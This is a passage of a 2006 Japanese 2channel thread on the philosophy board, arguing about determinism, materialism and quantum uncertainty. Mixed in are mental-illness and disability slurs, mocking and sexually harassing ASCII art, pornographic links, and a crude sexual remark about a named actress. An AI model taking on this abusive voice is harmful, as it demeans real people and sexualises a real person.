542 :小さなヨハネ ◆1oKmZSIAF. :2006/11/18(土) 07:12:57
ワトソン:自作自演、成りすましで人に濡れ衣を着せて知らんぷりを
     しないように、また貼っておこう。
ホームズ:ははは。
ワトソン:全くこいつは自作自演のトップ・ブランドだな。自分の罪は
     自分でつぐなうんだぞ。

543 :小さなヨハネ ◆1oKmZSIAF. :2006/11/18(土) 07:14:29
>>541
ワトソン:おい、ホームズ、もう起きてるぞ。
ホームズ:本当だ。

544 :小さなヨハネ ◆1oKmZSIAF. :2006/11/18(土) 07:21:35
ワトソン:悔い改めることを望む。それしか救われる道はない。
ホームズ:そうだね。

545 :考える名無しさん:2006/11/18(土) 07:43:43
>>534
ここのスレのテーゼは
1.(すべての)脳は物質である
2.(すべての)物質の記述は決定論に従う
3.(すべての)脳は(ある)物質である。
4.ゆえに (すべての)脳は決定論に従う
の三段論法を展開しているわけ。

これはさらに分析してみると・・・
(すべての)物質の時空座標での運動記述は決定論である。
が、強引に結論されている、ここが間違いね。
脳は見る限り、物質の構成だけど、物質の運動は、ふつう時空座標で定義できる。
ところで、ここで問題にしている、脳の動きって「さむいわ〜」「むかつくぅ〜」「いやだわ〜」・・・の認識や知覚表現、感情の動き(これらをとりあえず運動とみなして)
・・・これらが物理と同じく、時空座標の運動に還元できるって飛躍しているところが問題ね。
それが議論されないで、初めから決定論か否か、ゲーデルみたいなものもちだして、真だけれど証明不可能みたいなこといっても、自分で議論に酔っているだけだわ〜。



546 :考える名無しさん:2006/11/18(土) 08:13:50
議論自体が目的だからいいんだよ
そういうスレなの

547 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 08:47:48
 レスの前半は置いといて,むかつくなんぞわっかいななあ,若者に文字だけではだめなのさ、うまく伝わらん

  >アホか。非線形物理学においても、それは予測ができないってだけだ。
あんたのいってるのはそのまま「明日の天気は決定してない」っていってるのといっしょ

 線形といういいかたもだめか、俺の言い方が悪いだけだよ,大学に入ってこの世の物理統計的構造(逆統計学的構造)をちゃんと勉強しろ

いずれは自然科学的に決定論は正しくないって判るよ.おまえならちょっと勉強すればわかる

この科学はかなり難しいんだよ,他にも決定論は正しいと思い込む分家のどアホいっぱいいるようだな、自分の無知のせいだと認めたくないんだろう
科学者に聞いてみればいいよ



548 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 08:49:35
  (逆統計学的構造−−ー>逆統計力学的構造

549 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 08:51:24
>>547>>537 だがあえて省いた,もう勉強しろ

550 :小さなヨハネ ◆1oKmZSIAF. :2006/11/18(土) 09:08:50
米国の精神科医ウィルソン・ヴァン・デュセンはこのように指摘している。

「彼らは性的なこととか汚いことに気持ちを向けさせようとするが、この
こともスウェーデンボルグはいっている(霊界日記2852)。そして、
彼らはそんなことに気持ちを傾けたといってまた人間を非難するのだ。彼
らはまた人間は単なる自動人形や機械なのだという意味のことをいったり
もする。

 『このように人間が機械みたいに操られて行動するので霊の眼には人間
 など塵芥(ちりあくた)でしかない。ある者が人間やあるいはまた霊だ
 と知っても彼らは相手を機械としか見ていない。しかし、人間のほうは
 いつも自分は生きていて、考えている存在で、霊なんてものはなきに等
 しいといったように考えているのである(霊界日記3633)。』

 人間が自動人形だという考えは精神病的な妄想には共通の幻想で、幻想の
 中で起きるものである。普通の状態では霊には人間の世界のことは見たり
 聞いたりできないが、精神病などの中では彼らにはそれができるようにな
 るということはスウェーデンボルグもいっている(天界の秘義1880、
 霊界日記3963)。

551 :考える名無しさん:2006/11/18(土) 10:07:22
>>537
コイツ馬鹿

552 :考える名無しさん:2006/11/18(土) 10:08:43
>>547
コイツも同様の馬鹿

おまけにジエン魔

553 :考える名無しさん:2006/11/18(土) 10:09:56
決定論教って喰えるの?おいしい?

554 :考える名無しさん:2006/11/18(土) 10:10:40




境界性パーソナリティ障害
妄想性パーソナリティ障害
自己愛性パーソナリティ障害
演技性パーソナリティ障害
回避性パーソナリティ障害
強迫性パーソナリティ障害
依存症パーソナリティ障害



555 :考える名無しさん:2006/11/18(土) 10:14:32
>>539
こらっ、「機械的唯物論」者 ◆Wrk8395W0I

とっとと消えんかい

556 :考える名無しさん:2006/11/18(土) 10:22:01
182 :爆乳大佐 ◆Wrk8395W0I :2005/07/30(土) 22:25:26 ID:ZoqEoiq6
http://www.ultimateuniforms.com/tgp/38/images/6.jpg
http://xxxdessert.com/pantyhose/gallery/stockingsandstilettos/02/tan_stockings_01.jpg
http://freempegs.aebn.net/legs_0002_2_2.mpg
どないだ?


183 :名無しさん@ピンキー:2005/07/31(日) 00:22:10 ID:hWvFzSI/
おまえ、少佐に降格だ。


184 :名無しさん@ピンキー:2005/07/31(日) 08:08:33 ID:AFQot4Of
ワロス


185 :名無しさん@ピンキー:2005/07/31(日) 08:43:22 ID:/uuCyvPh
>>182
グロを貼った罪で、二等兵に降格処分!


557 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 10:44:39
>>550 レスシチャいけないのだろうが,18世紀の原始的人間機械論を非難してるのだな
今はなんと21世紀だよ,しっかり暦見ろ

558 :決定論スレ倫理審査委員会:2006/11/18(土) 10:45:26
決定論スレ規則

第1条、唯物論や参加者への感情的な誹謗中傷禁止。
第2条、唯物論と関連性がない議題は避けること。
第3条、固定ハンドル叩きや追い出し禁止。
第4条、参加者を自作自演呼ばわりすることを禁止。
第5条、参加者や決定論スレを病人・病棟呼ばわりすること禁止。
第6条、厳密な争点で常識を持ち出すこと禁止。
第7条、 無意味な荒らし・感情的な書きなぐり・AA禁止。
第8条、根拠、ソースのない断定は禁止。

559 :考える名無しさん:2006/11/18(土) 11:04:33

廃人スレ

560 :考える名無しさん:2006/11/18(土) 11:06:38
ゲロスレ規則

第1条、ゲロ
第2条、ゲロ。
第3条、ゲロ。
第4条、ゲロ。
第5条、ゲロ。
第6条、ゲロ。
第7条、ゲロ。
第8条、ゲロ。

561 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 11:23:45
>>539 前擦線サンにもレスしておかないと

あなたは,決定論は間違いだがだが、しかしエネルギー問題等では,世界の日々とが未来においても大過なくすごすにはエネルギ等で人間の取るべき道は選択が非常にせまい
人道的ならばかなりきまってるようなものである

 であるので未来は相当決まってるともいえる面もあるという,唯物半決定論をどう思いますか
 注、同時に人類が温暖化を本格的に防止するかどうかは「まだ」決まってない
 
唯物論であい変わらず、実際に未来はどうであるかという実際の下部構造が決定論という上部構造を規定するといいますがね
判りますかね

562 :小さなヨハネ ◆1oKmZSIAF. :2006/11/18(土) 11:30:15
>>557
「人間が自動人形だという考えは精神病的な妄想には共通の幻想で、幻想の
 中で起きるものである。」

563 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 11:49:53
>>562  18世紀には人間は自動人形だという主張が強かった
http://www2s.biglobe.ne.jp/~asanami/french.html
今なぜか21世紀


564 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 12:06:03
>>561 だがしかし政治指導者たちがその未来をかんがえないで化石燃料をガンガン使ってしまう使い切るということもまだありえますよ

565 :考える名無しさん:2006/11/18(土) 12:20:37
第2は何故自分のレスに自分でレスし返すのだ?
考えをまとめて書けないから、そういうことするんだよ
思ったらすぐ書くような短絡的な脳の構造治せよ
論理的に相手に伝わりやすく書く努力しろ
それが出来ないのに他人を批判するなどおこがましいったらありゃしない


566 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 14:43:53
 決定論者さんたちは,決定論は下部構想であると思ってるんですよね
唯物論では決定論は実は上部構造であるという

 この間違いは人間には結構多い

567 :考える名無しさん:2006/11/18(土) 17:48:04
構造はふたつない。

568 :考える名無しさん:2006/11/18(土) 18:54:11
来た! 来た! 来たー!! 超常現象の物理的メカニズムを解明したSF小説がついに発表された。  
題名は「神秘体験」(弓月城太郎・作)
前評判どおり内容は凄い。
作家の若桜木虔(東大大学院博士課程・生物遺伝学専攻)が非常に面白いと絶賛していた。
超常現象は精神現象の延長線上にある現象で、同じ物理的メカニズムで説明できるんだって。
ペンローズの量子脳理論を2.3歩前進させたくらいのレベルで話が展開されていて、
記憶のデータ構造、思考、直観力、創造性、自由意志、ニューラルネットの自己組織化から死後の世界、超常現象、神秘体験まで全部説明してしまうというのだから驚き! 
作品のダウンロードはこちらから→http://www.e-bookland.net/

569 :考える名無しさん:2006/11/18(土) 20:59:59
>>458
「昨日、雨が降ったか否かはどちらかが真」「それ以外はない」というのは
もっともらしいれけれども、怪しい。それは>>35 の言う観測者を棚上げした、
いわば超越論的な言明である。そういう断定は“風船”の外から(仮に)みた
場合の仮の言明である。


570 :考える名無しさん:2006/11/18(土) 21:11:27
それ以前に、

「昨日、雨が降った」
「昨日、雨は降っていない」

という日常的な命題が、厳密に
A∨¬Aになってる保証なんてないんだけどね。

571 :考える名無しさん:2006/11/18(土) 21:26:52
>>565
やつは池沼なんだよ、気遣いないのか?おまえ

572 :第2唯物論 ◆qBkUSoWgX. :2006/11/18(土) 21:58:10
>>571 俺の論のどこを捉えて池沼などと馬鹿妄想するんだろう、興味あるな

573 :三文文士:2006/11/18(土) 23:20:01
>>563
>18世紀には人間は自動人形だという主張が強かった
機械論が全盛であったのは、それ以前の宗教的妄想が強かったことへの反動と思われる。
これは自然科学の隆盛もその傾向を強めたであろう。
この18世紀の人が、現在までに妄想といわれる論へと再び移行してしまった様を
目の当たりにすれば「なぜだ?」と驚嘆するであろう。
本質はそこにあるのだ。
再び妄想に回帰してしまった。我々は現実世界を機械論的に説明できたとしてもである。
我々は「現実に妄想が不可欠」であることに気づき始めている。
結果的にそれなりの知識を持つ微小な知識人の言説は無視され、
無自覚に無意識に新たな妄想が席巻するということを免れない。
問題はここだ。
知識人の言うことなどほとんどの人には素通りされるということだ。
これは知識人がバカにされているというわけでも大衆が馬鹿というわけでも知識人の力量不足でもない。
ただ大衆は「欲望」を削がれることは避けるというだけなのである。
上位からの強権を振るう以外ないという時代遅れの方策はとれないことから考えれば
もう「どうにもならない」のである。
憂慮の段階を超え、終わったのである。

574 :決定論スレ倫理審査委員会:2006/11/19(日) 00:31:16
決定論スレ規則

第1条、唯物論や参加者への感情的な誹謗中傷禁止。
第2条、唯物論と関連性がない議題は避けること。
第3条、固定ハンドル叩きや追い出し禁止。
第4条、参加者を自作自演呼ばわりすることを禁止。
第5条、参加者や決定論スレを病人・病棟呼ばわりすること禁止。
第6条、厳密な争点で常識を持ち出すこと禁止。
第7条、 無意味な荒らし・感情的な書きなぐり・AA禁止。
第8条、根拠、ソースのない断定は禁止。

575 :考える名無しさん:2006/11/19(日) 00:31:34
だれでもいいけど、池沼って何ですか。マジな質問ですので、まともに
答えてhださい。それと、ageとsageの意味も?

576 :考える名無しさん:2006/11/19(日) 00:33:09
知的ルサンチマンに苛まれている不貞腐れたバカボンパパみたいなルックスの
初老リーマンが書き殴った酔っぱらいの戯言のごとき「思想批判」を鵜呑みにして
哲学板でバカにされ発狂した人間がまたコピペを板中に貼りまくって荒れてるね。


577 :考える名無しさん:2006/11/19(日) 00:44:58
>>573
それは、今日の機械的唯物論のような無味乾燥な思想が大衆の
あいだに妄想をかきたたているから。

ちなみに、この風潮に知識人なる存在が歯止め役を演じたことは、
過去にもなかったし、現在も同様。
むしろ、妄想の煽り役を自主的につとめてきたのがこの国の知識人。



578 :考える名無しさん:2006/11/19(日) 01:21:09
糞スレにたかる蝿

579 :考える名無しさん:2006/11/19(日) 04:44:38
おまいら哲ヲタの、市場に影響を及ぼせるスレは

ここだ。

580 :考える名無しさん:2006/11/19(日) 07:46:40


     ∧_∧脳は物質だから意識は必然にすぎない
    ( ´・ω・`)     ∧_∧
    /     \   (    )ハロワ池よ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 働け!     \|   (    ) 
  |     ヽ           \/     ヽ. オマエ無職だろ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /


581 :考える名無しさん:2006/11/19(日) 08:37:16

糞してさっさと寝ろや

582 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 10:20:17
>>573  >現在までに妄想といわれる論へと再び移行してしまった様を
目の当たりにすれば「なぜだ?」と驚嘆するであろう

アメリカがイラクに攻め込んだとき,世界中ではそれは石油が絡んだつまりアメリカは
石油漬けの生活を維持したいという動機があるのでこの戦争はよくない
とおもった人が十億を越えてただろう、ヨーロッパでは百万人規模のデモがあった

 石油を求める無意識が自動的にアメリカを動かしているというアメリカ自動人形論という常識は無論世界でむしろ
多数であった,あるアラブの国でもアンケートで80%がそう思ってた.アラブのその国は妄想で満たされたのであろうか

それに対してアメリカはそれは人類が「妄想してる」とパウエルが出てきて,イラクの石油を強奪するのでないとへたーな釈明があったが疑問はかえって深まった
イラクの石油をただで奪うとかいう技術的でなく,石油の管理を手中にしたい石油覇権を握りたいという広い無意識がアメリカにあると世界中はだまされなかった

実際今でもむしろ世界の過半数がアメリカがおのれの姿に自覚品鍵炉イラクの安定が来るわけないだろうアメリカはいつまで妄想してるかという逆批判が多いのであろう
18世紀の自動機械論でもこうなのである

まして19世紀,20世紀に唯物論は更に科学度をまし。18世紀に特徴であっったひ人は食う着る住むだけが動機だけでなく、
社会世界との連帯を強く求める要素も大きいという18世紀自動人形論からは飛躍を遂げたのである

 とk炉が馬鹿日本ではいまだに18世紀の機械唯物論が唯物論であるとしてそれは妄想だと19世紀前半の議論をする馬鹿がほとんどだ

583 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 10:36:10
  
実際今でもむしろ世界の過半数がアメリカがおのれの姿に自覚しないかぎりイラクの安定が来るわけないだろう
アメリカはいつまでじぶんをだましてるかという逆批判が多いのであろう


584 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 10:43:07
>>561 を見てみよう,ここではすでに.決定論者たちは,自分の食う着る住むだけが動機で決定論という間違いを夢想してるとは書いてない
むしろ未来の人類や,エネルギーの恩恵に乏しい世界の辺境に連帯して,決定論を唱えるといってる

 こういう他者へのあるいは未来への連帯を抜かすと.18世紀自動人形論になり。科学でなくなり,主教形から申そうと指摘されるのである
あるそれは19世紀20世紀の中で議論された.更に二つの連帯以外の要素も人間にはあるとも議論され照る。20世紀始めだ

 だが馬鹿日本ではいまだに18世紀の標準で唯物論を認識するばかも多い」

585 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 10:45:28
宗教系から妄想と指摘される

586 :考える名無しさん:2006/11/19(日) 11:50:06
まったく関係ない話で恐縮だが
相武紗季ちゃんのマンコは絶対ピンクだと
おじさんは確信してるぞ

君らは、どう思う?

587 :考える名無しさん:2006/11/19(日) 11:53:28
ゆんべは「消して!」とゆわれて確認できんかった・・ ^^;

588 :考える名無しさん:2006/11/19(日) 12:06:14
>>584
共産主義者はひっこめや

589 :考える名無しさん:2006/11/19(日) 12:08:09
ボクは夏帆ちゃん!!

590 :考える名無しさん:2006/11/19(日) 12:17:37
第2唯物論 ◆qBkUSoWgXとか言うヤツも毎日2ch漬けかよ
だれかさんにそっくりだな

591 :考える名無しさん:2006/11/19(日) 12:18:31
>>589 「消さないでっ!」ってゆわれて、、、 ^^;

592 :考える名無しさん:2006/11/19(日) 12:18:53
>>590
だーれかの分身だからそっくりに決まってるw

593 :考える名無しさん:2006/11/19(日) 12:19:54
    ___      ___
.   (    )     (    )
     ̄|  |      |  | ̄
     |  |      |  |
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  ||\\   """""    \   <パーソナリティ障害隔離病棟スレ
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594 :考える名無しさん:2006/11/19(日) 12:26:42
いいよなニートは

あとが大変だと思うけど

595 :考える名無しさん:2006/11/19(日) 12:30:54
世間では日曜日だというのに

それでも閉じこもって24時間2Chとは

596 :考える名無しさん:2006/11/19(日) 12:35:56
                     _________
                   /∴∵∴∵∴∵∴∵∴\  
                  /∴∵∴∵∴∵∴∵∴∵∴\
                 /∴∵∴∵∴∵∴∵∴∵∴∵∴\  
                /∴∵∴∵∴∵∴∵∴∵∴∵∴∵ \ 
               /∴∵∴∵∴∵∴/ ヽ   / ヽ ∴∵∴|
               /∴∵∴∵∴∵∴ | ● |  | ● | ∴∵∴|
               |∴∵∴∵∴∵∴ ヽ ノ  ヽ  ノ ∴∵∴|
               |∴∵∴∵∴/     / ̄ヽ    \ ∴.|
               |∴∵∴∵/  ‐‐--  ヽ_/  --‐‐ \ |  
               |∴∵∴ /   ‐‐--    |   --‐‐   |
               |∴∵∴/    ‐‐--    |   --‐‐   |
           ,,、-ー''~|∴∵∴|   \         |     /   |  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
         ,,r'"    |∵∴∵|    \_____|__/    / < >>595 うるせー馬鹿!おまえに俺の気持ちがわかってたまるか!!
        t~       ,\∵ |      \       /     /   \___________________________
     ,、-ー'~     ヽ  i \ |        \__/    /  i  
    ヽ,   ー-、    t  .i  \                / i  リ  
     ヽ,    ヽ,   i  t   \_________/  i  i  

597 :考える名無しさん:2006/11/19(日) 14:57:01
>>586
この年代のなかでは、将来性bPだろうな。
対極にいるのが沢尻エリカ。小生意気な女だが、ヒールとしての魅力は
突出している。同年代の連中のボスとして沢尻会を主宰。
長澤は、大味。上戸は、下がり目。

598 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 17:10:32
>>588 まともには反論とてもできないから馬鹿決めつけときたな
唯物論は第3唯物論で無ければ全ての企業国有化とはほとんど関係ないんだよ

599 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 17:12:59
>>590 土日以外の日中の書き込みは仕事で時間が無くて,ひどい文が多いだろうが
それと書き込みなんぞしない期間も多いぜ,シリーズでやってぱっと終わる

600 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 17:27:55
>>582  >まして19世紀,20世紀に唯物論は更に科学度をまし。18世紀に特徴であっったひ人は食う着る住むだけが動機だけでなく、
社会世界との連帯を強く求める要素も大きいという18世紀自動人形論からは飛躍を遂げたのである

 だからアメリカも,単に石油覇権追求でイラクに攻め入っただけでなく,アメリカは世界の中心にいて世界と関与すべきだというアメリカなりの連帯感や自負心もあるとは今は見るのさ
特に世界が石油大浪費に批判的な勢力に惑わされずに豊かの生活を追求できるべきだという,間違ってはいるがリバティー思想があることも知ってる

 まあだからアメリカは温暖化防止には反対してるんだが

601 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 17:42:13
>>600 そういうわけで機械的唯物論というのは.古い単純唯物論の名称だな」

602 :小さなヨハネ ◆1oKmZSIAF. :2006/11/19(日) 18:04:13
ワトソン:しかし、ホームズ、第1だか第2だか知らないが、唯物論というからには
     神を信じないんだろう?
ホームズ:ああ、たぶんね。
ワトソン:しかし、哲学徒というのは可哀想だな。神の存在を認識出来ないんだから。
ホームズ:そうだね。

603 :考える名無しさん:2006/11/19(日) 18:49:05
>>589
夏帆は二年くらい前は可愛かったけれども、いまでは普通の女の子。
花の命は短い。

604 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 18:51:39
>>602 唯物論には神はいないというのももう古いんだよ.
今では唯物論にこそ唯一,神がいるということもあるくらいだ

605 :可哀相な唯物論者:2006/11/19(日) 19:02:18
小さなヨハネは頭が幸せそうで羨ましいよ。

606 :三文文士:2006/11/19(日) 20:10:12
ここの人たちは京極夏彦の「姑獲鳥の夏」を読んだことがあるだろうか?
登場人物の中禅寺秋彦がすでに答えを出しているのである。

607 :小さなヨハネ ◆1oKmZSIAF. :2006/11/19(日) 21:49:14
>>604
ワトソン:では君は神を信じているの?
ホームズ:ワトソン、それは聞いても意味ないだろう。

>>605
ワトソン:哲学徒諸兄に同情を禁じえないよ。
ホームズ:はははは。

608 :小さなヨハネ ◆1oKmZSIAF. :2006/11/19(日) 21:56:11
ワトソン:認知症になった大先輩、梅毒で狂った先輩、結婚を4回もしたという
     先輩・・・。
ホームズ:ははは、ワトソン、そのくらいにしておけよ。

609 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 22:13:34
>>607 俺が神の問題をいいかげんに扱ってるとでも馬鹿妄想してるのかな

610 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 22:21:18
  すでに神が唯物論ではどう考えられるか2度ほど書いたのだが馬鹿ヨハネはなんみが書いてあるか理解できなかったかあるいは読みそこまかったかだ
神の問題が簡単なわけないから理解できなかったんだろうな、いっておくが昔はこういう叙述は無かった、信者にとってはちょっと深刻な問題ではあるな.理解できたら笑ってる場合でない
凡人さんの信者さんは理解できない方がいいかもね


611 :第2唯物論 ◆qBkUSoWgX. :2006/11/19(日) 22:22:47
>>610 なんみーーー>なに

612 :考える名無しさん:2006/11/20(月) 00:28:22
>>607>>608
おいおいwwwww またまた俺のコピペかwwwwwwwwww
ついに俺のマラの臭さに降参したのかよm9。゚(゚^Д^゚)゚。プギャーーーッハッハーヒャヒャヒャヒャヒャヒャ
よほど俺の釜堀一筋30年のマラへのルサウンチマンが尽きたようだなぁニヤニヤ
ま、もとから俺様のマラの臭さには対抗すらできていなかったわけだが( ´,_ゝ`)

613 :考える名無しさん:2006/11/20(月) 01:10:29
第2唯物論 ◆qBkUSoWgX

↑こいつ筆跡を意図的に変える

614 :考える名無しさん:2006/11/20(月) 01:40:22
>>613
筆跡というのが理解できん。文体のことか、あるいは?

615 :考える名無しさん:2006/11/20(月) 03:20:59

おまえら、早めに病気をなおしたほうがいいよ

616 :考える名無しさん:2006/11/20(月) 03:22:09
このスレは、哲学板最後の砦。

617 :考える名無しさん:2006/11/20(月) 04:15:22
哲板最大の釣り堀

618 :考える名無しさん:2006/11/20(月) 04:41:41

タン壷スレ

619 :考える名無しさん:2006/11/20(月) 06:11:05
哲学の衰退という現実は哲学徒の意識が作り出した必然なのです。

620 :考える名無しさん:2006/11/20(月) 07:05:31

哲板最大の肥溜めスレ

621 :考える名無しさん:2006/11/20(月) 07:22:49
まだやってたのかよ。
しっかし相変わらずだな、最高位痰と機械痰は。

622 :考える名無しさん:2006/11/20(月) 09:45:45
>>539
前擦腺君から倫理や生きがいについて話し合おうと言われると、妙な気分
になる。決定論者にとっては、人間がどう生きるか、どう感じたり、思った
りするかは決定されているのだろう?
それを論じるというのは、こういうことかな。たとえば今年の『有馬記念』
の勝馬は(決定論によれば)もう確定している。が、ファンや評論家たちは
「ああでもない、こうでもない」と論じたて予想する。これに類することを
“生き方”に関してやろうということだろうか。


623 :考える名無しさん:2006/11/20(月) 10:38:32
しかし、倫理的評価というのは過去についても行われる。というか、
その方が多い。裁判ですらそうだ。先の戦争についてどう考えるか、など
重大な政治問題にさえなる。過去は決定されていて動かしようがないことは、
誰にも異論がないはずなのに。
してみれば、仮に現在や未来が過去と同様に決定されていて動かしようが
ないとしても、それに関して倫理的に論じてもおかしくはないと思うが、どうか。

624 :考える名無しさん:2006/11/20(月) 10:53:48
>>1
>量子論の「不確定性」は意識には何の関係もない「単なる観測問題」です。

ウソを書くのはやめんか。ぜんぜん違うぞ。

625 :考える名無しさん:2006/11/20(月) 12:04:22
まんざらうそでもない。

626 :考える名無しさん:2006/11/20(月) 12:37:37
>>625
こういう馬鹿が哲板を席巻しているのな
だから>>1のような馬鹿がまかり通るわけ

627 :考える名無しさん:2006/11/20(月) 12:40:32
>>625
観測理論を勉強したことないだろ

628 :第2唯物論 ◆qBkUSoWgX. :2006/11/20(月) 13:37:26
>>626→>627 ほとんど関係ないよ、物理に素人が関係あるかもと妄想するだけ

629 :考える名無しさん:2006/11/20(月) 13:46:38
>>624
・意識に何の関係もないというのは正しい。
・不確定性が観測問題というのも正しい。

630 :考える名無しさん:2006/11/20(月) 14:04:36
ここには量子論わかってるやつ一人もいないんだな。
アインシュタイン信者ばかりだ。

631 :考える名無しさん:2006/11/20(月) 14:09:22
>>630
お前がどの程度理解しているか知らんが結構いる。
少なくとも俺は量子論で論文書いている。


632 :考える名無しさん:2006/11/20(月) 14:43:02
だから二人ともとりあえずその内容をここに書け。
「おまえらに理解できない」は説明責任の拒絶だからなしな。

633 :考える名無しさん:2006/11/20(月) 16:27:09
>>629
観測問題語るなら清水さんの教科書ぐらいは読んでから書き込んでね

634 :考える名無しさん:2006/11/20(月) 16:44:20
科哲の奴じゃなくて物理学者の著作はないの?
ちなみに、哲学科で量子論について書いた奴とかもどうでもいい。

635 :考える名無しさん:2006/11/20(月) 16:46:58
>>630
アインシュタインは量子論は頂けないといっただけだよ。
観測した時点で性質が決まり、観測以前は確率的にしかわからんことを
決定しているのだ、と言うからには矛盾を除くために量子論を排斥した
形に>>1は考えを組み立てる必要があっただけだろう。
量子というのは運動量を観測すれば位置がデタラメになりどこにあるんだかわからなくなる。
位置を観測すれば運動量が無限大に不正確になってしまう。
であるから観測するまでは確率的にしかわかりませんよという不確定性原理なんだろう。
観測する行為自体が対象に影響を与えるんだから。
これでデカルト以来の主観と客観はそれぞれ完全に分離しているという
前提はぶっ壊れたわけだ。

636 :考える名無しさん:2006/11/20(月) 16:56:53
堂々と
馬鹿丸出しで恥ずかしくねーのか?

637 :考える名無しさん:2006/11/20(月) 16:59:07
    ___      ___
.   (    )     (    )
     ̄|  |      |  | ̄
     |  |      |  |
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638 :考える名無しさん:2006/11/20(月) 17:01:32
>>629
オマエ病院逝ったほうがいい

639 :考える名無しさん:2006/11/20(月) 17:03:13
>>638
こういうレスしか書けないお前が病院に逝け。
主張でも議論でもない糞レス書くなよ。

640 :考える名無しさん:2006/11/20(月) 17:04:07
        /⌒ヽ⌒ヽ
               Y       基地外は結婚してんの?
            八  ヽ
     (   __//. ヽ,, ,)    基地外とはさぁ、どんなセックスしてるわけ?
      丶1    八.  !/
       ζ,    八.  j     週何回?どこを責められると感じる?
        i    丿 、 j
        |     八   |     どんな体位が好き?コンドームは着けてる?
        | !    i 、 |
       | i し " i   '|    基地外以外とは何人とセックスした?この絵みたいなチンポは好き?
      |ノ (   i    i|
      ( '~ヽ   !  ‖   基地外、ちゃんと教えて欲しいなぁぁぁぁぁ
        │     i   ‖
      |      !   ||    質問にはきちんと答えてくれるんだよねぇぇぇ
      |    │    |
      |       |    | |    早くぅぅぅぅぅぅぅぅぅぅぅぅ
     |       |   | |
     |        !    | |   基地外、もう待てないよおおぉぉぉぉぉぉぉ

641 :考える名無しさん:2006/11/20(月) 17:08:13
     ∧_∧ヘラヘラ
    ( ゜∀゜ )     ∧_∧
    />>639 \   (    )病院池よ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ うんこくせー  \|   (    ) 
  |     ヽ           \/     ヽ. オマエ障害もちだろ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /

642 :考える名無しさん:2006/11/20(月) 17:10:00
                     _________
                   /∴∵∴∵∴∵∴∵∴\  
                  /∴∵∴∵∴∵∴∵∴∵∴\
                 /∴∵∴∵∴∵∴∵∴∵∴∵∴\  
                /∴∵∴∵∴∵∴∵∴∵∴∵∴∵ \ 
               /∴∵∴∵∴∵∴/ ヽ   / ヽ ∴∵∴|
               /∴∵∴∵∴∵∴ | ● |  | ● | ∴∵∴|
               |∴∵∴∵∴∵∴ ヽ ノ  ヽ  ノ ∴∵∴|
               |∴∵∴∵∴/     / ̄ヽ    \ ∴.|
               |∴∵∴∵/  ‐‐--  ヽ_/  --‐‐ \ |  
               |∴∵∴ /   ‐‐--    |   --‐‐   |
               |∴∵∴/    ‐‐--    |   --‐‐   |
           ,,、-ー''~|∴∵∴|   \         |     /   |  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
         ,,r'"    |∵∴∵|    \_____|__/    / <>>641 うるせー馬鹿!おまえに俺の気持ちがわかってたまるか!!
        t~       ,\∵ |      \       /     /   \___________________________
     ,、-ー'~     ヽ  i \ |        \__/    /  i  
    ヽ,   ー-、    t  .i  \                / i  リ  
     ヽ,    ヽ,   i  t   \_________/  i  i  

643 :考える名無しさん:2006/11/20(月) 17:42:29
>>623
決定論者がそのあたりをどう考えているのか、少し興味がありました。

先の大戦について言うと、戦争と呼ぶ事態が起きたことは確かだろう。
しかし、それが何だったのか、どのような意味を持っているのか、は何一つ
決定されてはいまい。国家間にも個々人のあいだにも、共通の合意らしき
ものは依然として確定していないはずだ。
過去さえ語りうるのだから、あなたの言うように未来については、おおいに
論じあうべし。






644 :考える名無しさん:2006/11/20(月) 18:54:21
>>635
>量子というのは運動量を観測すれば位置がデタラメになりどこにあるんだかわからなくなる。
>位置を観測すれば運動量が無限大に不正確になってしまう。
>であるから観測するまでは確率的にしかわかりませんよという不確定性原理なんだろう。
>観測する行為自体が対象に影響を与えるんだから。

こんな基本的なことはわかってる。
巧妙な曲解で騙そうとしていることが
汚いんだよ。

645 :考える名無しさん:2006/11/20(月) 19:14:28
理系の議論て、ガキのケンカだね。自慢し、相手を貶す。きちんと自説を
述べ、わかりやすく論駁できないのか。
アタマはいいのだろうが、プライド(見栄)が強すぎて、たぶんボロをだし
たくないのだろう、まともに喋れないようだな。

646 :考える名無しさん:2006/11/20(月) 19:16:29
哲板に常駐する理系

647 :考える名無しさん:2006/11/20(月) 19:26:23
>これでデカルト以来の主観と客観はそれぞれ完全に分離しているという
>前提はぶっ壊れたわけだ。


素晴らしい

648 :考える名無しさん:2006/11/20(月) 19:37:27
>>635
まあそれはいいんだが、状態の不確定性と観測の誤差との
区別がついてないから何の意味もない。

649 :考える名無しさん:2006/11/20(月) 19:43:50
>>648
